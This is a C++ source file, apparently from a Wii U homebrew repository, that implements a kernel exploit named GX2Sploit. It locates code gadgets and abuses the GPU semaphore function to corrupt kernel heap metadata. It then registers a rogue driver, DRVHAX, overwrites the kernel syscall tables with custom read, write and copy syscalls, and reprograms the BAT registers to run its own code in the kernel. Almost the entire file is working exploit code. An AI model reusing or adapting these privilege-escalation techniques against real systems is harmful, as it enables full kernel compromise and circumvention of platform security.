mirror of
https://github.com/wiiu-env/PayloadFromRPX.git
synced 2024-11-05 14:25:07 +01:00
281 lines
10 KiB
C++
281 lines
10 KiB
C++
#include "gx2sploit.h"
|
|
#include "ElfUtils.h"
|
|
#include <coreinit/cache.h>
|
|
#include <coreinit/core.h>
|
|
#include <coreinit/debug.h>
|
|
#include <coreinit/dynload.h>
|
|
#include <coreinit/exit.h>
|
|
#include <coreinit/memory.h>
|
|
#include <coreinit/memorymap.h>
|
|
#include <coreinit/thread.h>
|
|
#include <cstring>
|
|
#include <gx2/state.h>
|
|
#include <malloc.h>
|
|
#include <sysapp/launch.h>
|
|
#include <utils/logger.h>
|
|
#include <whb/log.h>
|
|
|
|
#define JIT_ADDRESS 0x01800000
|
|
|
|
#define KERN_HEAP 0xFF200000
|
|
#define KERN_HEAP_PHYS 0x1B800000
|
|
|
|
|
|
#define KERN_CODE_READ 0xFFF023D4
|
|
#define KERN_CODE_WRITE 0xFFF023F4
|
|
#define KERN_DRVPTR 0xFFEAB530
|
|
|
|
#define STARTID_OFFSET 0x08
|
|
#define METADATA_OFFSET 0x14
|
|
#define METADATA_SIZE 0x10
|
|
|
|
extern "C" void SCKernelCopyData(uint32_t addr, uint32_t src, uint32_t len);
|
|
|
|
/* Find a gadget based on a sequence of words */
|
|
static void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) {
|
|
uint32_t *ptr;
|
|
|
|
/* Search code before JIT area first */
|
|
for (ptr = (uint32_t *) gadgets_start; ptr != (uint32_t *) JIT_ADDRESS; ptr++) {
|
|
if (!memcmp(ptr, &code[0], length)) {
|
|
return ptr;
|
|
}
|
|
}
|
|
|
|
OSFatal("Failed to find gadget!");
|
|
return NULL;
|
|
}
|
|
|
|
/* Chadderz's kernel write function */
|
|
void __attribute__((noinline)) kern_write(const void *addr, uint32_t value) {
|
|
asm volatile(
|
|
"li 3,1\n"
|
|
"li 4,0\n"
|
|
"mr 5,%1\n"
|
|
"li 6,0\n"
|
|
"li 7,0\n"
|
|
"lis 8,1\n"
|
|
"mr 9,%0\n"
|
|
"mr %1,1\n"
|
|
"li 0,0x3500\n"
|
|
"sc\n"
|
|
"nop\n"
|
|
"mr 1,%1\n"
|
|
:
|
|
: "r"(addr), "r"(value)
|
|
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
|
"11", "12");
|
|
}
|
|
|
|
extern "C" void OSSwitchSecCodeGenMode(int);
|
|
|
|
int exploitThread(int argc, char **argv) {
|
|
OSDynLoad_Module gx2_handle;
|
|
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
|
|
|
|
void (*pGX2SetSemaphore)(uint64_t * sem, int action);
|
|
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", (void **) &pGX2SetSemaphore);
|
|
uint32_t set_semaphore = ((uint32_t) pGX2SetSemaphore) + 0x2C;
|
|
|
|
uint32_t gx2_init_attributes[9];
|
|
uint8_t *gx2CommandBuffer = (uint8_t *) memalign(0x40, 0x400000);
|
|
|
|
gx2_init_attributes[0] = 1;
|
|
gx2_init_attributes[1] = (uint32_t) gx2CommandBuffer;
|
|
gx2_init_attributes[2] = 2;
|
|
gx2_init_attributes[3] = 0x400000;
|
|
gx2_init_attributes[4] = 7;
|
|
gx2_init_attributes[5] = 0;
|
|
gx2_init_attributes[6] = 8;
|
|
gx2_init_attributes[7] = 0;
|
|
gx2_init_attributes[8] = 0;
|
|
GX2Init(gx2_init_attributes); //don't actually know if this is necessary? so temp? (from loadiine or hbl idk)
|
|
|
|
/* Allocate space for DRVHAX */
|
|
uint32_t *drvhax = (uint32_t *) OSAllocFromSystem(0x4c, 4);
|
|
|
|
/* Set the kernel heap metadata entry */
|
|
uint32_t *metadata = (uint32_t *) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
|
|
metadata[0] = (uint32_t) drvhax;
|
|
metadata[1] = (uint32_t) -0x4c;
|
|
metadata[2] = (uint32_t) -1;
|
|
metadata[3] = (uint32_t) -1;
|
|
|
|
/* Find stuff */
|
|
uint32_t gx2data[] = {0xfc2a0000};
|
|
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
|
|
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
|
|
void (*do_flush)(uint32_t arg0, uint32_t arg1) = (void (*)(uint32_t, uint32_t))(((uint32_t) find_gadget(doflush, 0x2C, 0x01000000)) + 0x14);
|
|
|
|
/* Modify a next ptr on the heap */
|
|
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
|
|
|
|
set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr);
|
|
set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr);
|
|
do_flush(0x100, 1);
|
|
|
|
/* Register a new OSDriver, DRVHAX */
|
|
char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
|
|
Register(drvname, 6, NULL, NULL);
|
|
|
|
/* Use DRVHAX to install the read and write syscalls */
|
|
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
|
|
|
|
DCFlushRange(syscalls, 0x04 * 2);
|
|
|
|
/* Modify its save area to point to the kernel syscall table */
|
|
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_1 + (0x34 * 4);
|
|
CopyToSaveArea(drvname, 6, syscalls, 8);
|
|
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
|
|
CopyToSaveArea(drvname, 6, syscalls, 8);
|
|
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_3 + (0x34 * 4);
|
|
CopyToSaveArea(drvname, 6, syscalls, 8);
|
|
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_4 + (0x34 * 4);
|
|
CopyToSaveArea(drvname, 6, syscalls, 8);
|
|
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_5 + (0x34 * 4);
|
|
CopyToSaveArea(drvname, 6, syscalls, 8);
|
|
|
|
/* Clean up the heap and driver list so we can exit */
|
|
kern_write((void *) (KERN_HEAP + STARTID_OFFSET), 0);
|
|
kern_write((void *) KERN_DRVPTR, drvhax[0x48 / 4]);
|
|
|
|
// Install CopyData syscall
|
|
kern_write((void *) (KERN_SYSCALL_TBL_1 + (0x25 * 4)), (uint32_t) 0x1800000);
|
|
kern_write((void *) (KERN_SYSCALL_TBL_2 + (0x25 * 4)), (uint32_t) 0x1800000);
|
|
kern_write((void *) (KERN_SYSCALL_TBL_3 + (0x25 * 4)), (uint32_t) 0x1800000);
|
|
kern_write((void *) (KERN_SYSCALL_TBL_4 + (0x25 * 4)), (uint32_t) 0x1800000);
|
|
kern_write((void *) (KERN_SYSCALL_TBL_5 + (0x25 * 4)), (uint32_t) 0x1800000);
|
|
|
|
/* clean shutdown */
|
|
GX2Shutdown();
|
|
free(gx2CommandBuffer);
|
|
return 0;
|
|
}
|
|
|
|
void KernelWriteU32(uint32_t addr, uint32_t value);
|
|
|
|
extern "C" void SC_KernelCopyData(uint32_t dst, uint32_t src, uint32_t len);
|
|
|
|
void KernelWrite(uint32_t addr, const void *data, uint32_t length) {
|
|
// This is a hacky workaround, but currently it only works this way. ("data" is always on the stack, so maybe a problem with mapping values from the JIT area?)
|
|
// further testing required.
|
|
for (uint32_t i = 0; i < length; i += 4) {
|
|
KernelWriteU32(addr + i, *(uint32_t *) (((uint32_t) data) + i));
|
|
}
|
|
}
|
|
|
|
void KernelWriteU32(uint32_t addr, uint32_t value) {
|
|
ICInvalidateRange(&value, 4);
|
|
DCFlushRange(&value, 4);
|
|
|
|
uint32_t dst = (uint32_t) OSEffectiveToPhysical(addr);
|
|
uint32_t src = (uint32_t) OSEffectiveToPhysical((uint32_t) &value);
|
|
|
|
SC_KernelCopyData(dst, src, 4);
|
|
|
|
DCFlushRange((void *) addr, 4);
|
|
ICInvalidateRange((void *) addr, 4);
|
|
}
|
|
|
|
static void SCSetupIBAT4DBAT5() {
|
|
asm volatile("sync; eieio; isync");
|
|
|
|
// Give our and the kernel full execution rights.
|
|
// 00800000-01000000 => 30800000-31000000 (read/write, user/supervisor)
|
|
unsigned int ibat4u = 0x008000FF;
|
|
unsigned int ibat4l = 0x30800012;
|
|
asm volatile("mtspr 560, %0"
|
|
:
|
|
: "r"(ibat4u));
|
|
asm volatile("mtspr 561, %0"
|
|
:
|
|
: "r"(ibat4l));
|
|
|
|
// Give our and the kernel full data access rights.
|
|
// 00800000-01000000 => 30800000-31000000 (read/write, user/supervisor)
|
|
unsigned int dbat5u = ibat4u;
|
|
unsigned int dbat5l = ibat4l;
|
|
asm volatile("mtspr 570, %0"
|
|
:
|
|
: "r"(dbat5u));
|
|
asm volatile("mtspr 571, %0"
|
|
:
|
|
: "r"(dbat5l));
|
|
|
|
asm volatile("eieio; isync");
|
|
}
|
|
|
|
extern "C" void SC_0x36_SETBATS(void);
|
|
|
|
int DoKernelExploit(void) {
|
|
DEBUG_FUNCTION_LINE("Running GX2Sploit");
|
|
/* Make a thread to modify the semaphore */
|
|
OSThread *thread = (OSThread *) memalign(8, 0x1000);
|
|
uint8_t *stack = (uint8_t *) memalign(0x40, 0x2000);
|
|
|
|
OSSwitchSecCodeGenMode(0);
|
|
memcpy((void *) 0x1800000, (void *) &SCKernelCopyData, 0x100);
|
|
|
|
unsigned int setIBAT0Addr = 0x1800200;
|
|
unsigned int *curAddr = (uint32_t *) setIBAT0Addr;
|
|
|
|
curAddr[0] = 0x7C0006AC;
|
|
curAddr[1] = 0x4C00012C;
|
|
curAddr[2] = 0x7C7083A6;
|
|
curAddr[3] = 0x7C9183A6;
|
|
curAddr[4] = 0x7C0006AC;
|
|
curAddr[5] = 0x4C00012C;
|
|
curAddr[6] = 0x4E800020;
|
|
|
|
DCFlushRange((void *) 0x1800000, 0x1000);
|
|
ICInvalidateRange((void *) 0x1800000, 0x1000);
|
|
|
|
OSSwitchSecCodeGenMode(1);
|
|
|
|
if (OSCreateThread(thread, (OSThreadEntryPointFn) exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0) {
|
|
OSFatal("Failed to create thread");
|
|
}
|
|
|
|
OSResumeThread(thread);
|
|
OSJoinThread(thread, 0);
|
|
free(thread);
|
|
free(stack);
|
|
|
|
unsigned char backupBuffer[0x40];
|
|
uint32_t targetBuffer[0x40 / 4];
|
|
|
|
uint32_t targetAddress = 0x017FF000;
|
|
KernelWrite((uint32_t) backupBuffer, (void *) 0x017FF000, 0x40);
|
|
|
|
targetBuffer[0] = 0x7c7082a6; // mfspr r3, 528
|
|
targetBuffer[1] = 0x60630003; // ori r3, r3, 0x03
|
|
targetBuffer[2] = 0x7c7083a6; // mtspr 528, r3
|
|
targetBuffer[3] = 0x7c7282a6; // mfspr r3, 530
|
|
targetBuffer[4] = 0x60630003; // ori r3, r3, 0x03
|
|
targetBuffer[5] = 0x7c7283a6; // mtspr 530, r3
|
|
targetBuffer[6] = 0x7c0006ac; // eieio
|
|
targetBuffer[7] = 0x4c00012c; // isync
|
|
targetBuffer[8] = 0x3c600000 | (((uint32_t) SCSetupIBAT4DBAT5) >> 16); // lis r3, setup_syscall@h
|
|
targetBuffer[9] = 0x60630000 | (((uint32_t) SCSetupIBAT4DBAT5) & 0xFFFF); // ori r3, r3, setup_syscall@l
|
|
targetBuffer[10] = 0x7c6903a6; // mtctr r3
|
|
targetBuffer[11] = 0x4e800420; // bctr
|
|
DCFlushRange(targetBuffer, sizeof(targetBuffer));
|
|
|
|
KernelWrite((uint32_t) targetAddress, (void *) targetBuffer, 0x40);
|
|
/* set our setup syscall to an unused position */
|
|
kern_write((void *) (KERN_SYSCALL_TBL_1 + (0x36 * 4)), targetAddress);
|
|
kern_write((void *) (KERN_SYSCALL_TBL_2 + (0x36 * 4)), targetAddress);
|
|
kern_write((void *) (KERN_SYSCALL_TBL_3 + (0x36 * 4)), targetAddress);
|
|
kern_write((void *) (KERN_SYSCALL_TBL_4 + (0x36 * 4)), targetAddress);
|
|
kern_write((void *) (KERN_SYSCALL_TBL_5 + (0x36 * 4)), targetAddress);
|
|
|
|
/* run our kernel code :) */
|
|
SC_0x36_SETBATS();
|
|
|
|
/* repair data */
|
|
KernelWrite(targetAddress, backupBuffer, sizeof(backupBuffer));
|
|
DCFlushRange((void *) targetAddress, sizeof(backupBuffer));
|
|
DEBUG_FUNCTION_LINE("GX2Sploit done");
|
|
return 1;
|
|
}
|